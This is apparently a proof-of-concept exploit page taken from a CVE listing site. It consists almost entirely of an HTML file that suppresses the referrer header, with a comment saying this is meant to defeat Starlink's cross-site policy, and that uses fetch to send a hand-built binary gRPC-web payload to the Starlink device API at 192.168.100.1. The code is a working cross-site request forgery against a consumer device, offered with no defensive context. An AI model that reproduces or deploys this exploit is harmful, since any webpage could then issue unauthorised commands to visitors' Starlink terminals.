4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit(PoC).html HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">

    // Defeat Starlink Cross Site policy by removing referrer header
    <meta name="referrer" content="never">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Send GRPC Packet</title>
</head>
<body>
    <h1>Send a POST Request</h1>
    <button id="sendPacketButton">Send Packet</button>

    <script>
        document.getElementById('sendPacketButton').addEventListener('click', function () {
            // Define the binary payload as hex 00 00 00 04 82 F7 02 00
            const payload = new Uint8Array([0x00, 0x00, 0x00, 0x00, 0x04, 0x82, 0xF7, 0x02, 0x00]);

            // Send the POST request using CORS
            fetch('http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/grpc-web-proto',
                    'X-User-Agent': 'grpc-web-javascript/0.1',
                    'X-Grpc-Web': '1',
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36',
                    'Accept': '*/*',
                    'Origin': 'http://localhost',
                    'Accept-Encoding': 'gzip, deflate, br',
                    'Accept-Language': 'en-US,en;q=0.9',
                    'Connection': 'close'
                },
                body: payload
            })
            .then(response => {
                if (response.ok) {
                    return response.text();
                } else {
                    throw new Error(`HTTP error! Status: ${response.status}`);
                }
            })
            .then(data => {
                console.log('Response:', data);
                alert('Packet sent successfully!');
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Failed to send packet. Check the console for details.');
            });
        });
    </script>
</body>
</html>